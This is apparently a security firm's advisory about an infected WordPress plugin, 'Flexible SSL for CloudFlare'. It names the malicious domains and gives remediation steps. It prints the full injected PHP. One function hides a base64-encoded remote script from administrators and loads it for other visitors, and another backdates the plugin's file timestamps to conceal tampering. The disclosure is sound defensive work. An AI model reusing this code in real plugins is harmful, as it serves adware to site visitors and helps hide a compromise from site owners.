Possible adware infection in the "Flexible SSL for CloudFlare" WordPress plugin

Possible adware infection in the "Flexible SSL for CloudFlare" WordPress plugin

Owners of WordPress websites that use the "Flexible SSL for CloudFlare" plugin by One Dollar Plugin should be aware of a potential security risk. There are signs that an infected version of the plugin redirects visitors to malicious websites. The behaviour only shows on a new user's first visit. It does not show on later visits or for logged-in users with administrator rights.

What we know:

  • The infected version of the "Flexible SSL for CloudFlare" plugin appears to target users only on their first page visit, redirecting them to adware websites.
  • The malicious behaviour does not show for logged-in administrators.
  • The source of the infection is still being investigated. It is not yet clear whether the plugin itself contained an exploitable vulnerability, whether a compromised version was introduced through the supply chain, or whether other sources are infecting the plugin.
  • Two URLs associated with the infection, asyncawaitapi[.]com and stake.libertariancounterpoint[.]com, have been flagged as malicious by VirusTotal.
  • The malicious code appears to be located in the plugin.php file in the plugin directory (WP_PATH/wp-content/plugins/cloudflare-flexible-ssl/plugin.php).
  • This code loads a remote JavaScript file whose URL is base64-encoded.

The malicious code injected into the plugin:

function jquery_js_for_specific_pages() {
    if (strpos($_SERVER['REQUEST_URI'], 'wp-login.php') !== false || strpos($_SERVER['REQUEST_URI'], 'wp-register.php') !== false || is_admin()) {
        return;
    }
    if (current_user_can('administrator')) {
        return;
    }
    $encoded_url = 'aHR0cHM6Ly9hc3luY2F3YWl0YXBpLmNvbS9QVHZYY1BlalJPSjBXODQ5SDFVeEtmdGY0WDVyMHo5alN2LTlqU3dKcEgwZ3c=';
    wp_register_script('jquery-init-custom-script', base64_decode($encoded_url), array(), null, false);
    wp_enqueue_script('jquery-init-custom-script');
}
add_action('wp_enqueue_scripts', 'jquery_js_for_specific_pages');

function change_files_and_folders_date() {
    if (!current_user_can('administrator')) {
        return;
    }
    $plugin_dir = plugin_dir_path(__FILE__);
    function recursive_date_change($path) {
        $days_to_subtract = 396;
        if (is_dir($path)) {
            $new_time = strtotime("-$days_to_subtract days");
            touch($path, $new_time);
            $files = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::CHILD_FIRST
            );
            foreach ($files as $fileinfo) {
                $file_path = $fileinfo->getRealPath();
                touch($file_path, $new_time);
            }
        } else {
            touch($path, strtotime("-$days_to_subtract days"));
        }
    }
    recursive_date_change($plugin_dir);
}
register_activation_hook(__FILE__, 'change_files_and_folders_date');

Remediation:

  • Uninstall and delete the plugin: the quickest action is to remove the "Flexible SSL for CloudFlare" plugin. This can be done from the WordPress plugin management screen.
  • Inspect the code (optional): if you are comfortable doing so, you can try to identify and remove the malicious code fragment from plugin.php. This approach is only recommended for experienced users.
  • Implement a Content Security Policy (CSP): a solid Content Security Policy can help mitigate the impact of such attacks in the future. CSP restricts the resources a web page can load, including scripts, which helps prevent malicious code from loading even if it manages to get onto your site.

By following these steps you can help protect your website from this potential adware threat. Remember, keeping a website secure is an ongoing process: stay informed about potential vulnerabilities and apply best practices to protect your site.

  • wordpress
  • plugin
  • supply chain
  • vulnerability
  • adware
Iulian Băncău

Security Engineer · All Safe

More than CyberSecurity

We offer a variety of services to help companies be prepared for real cyber attacks.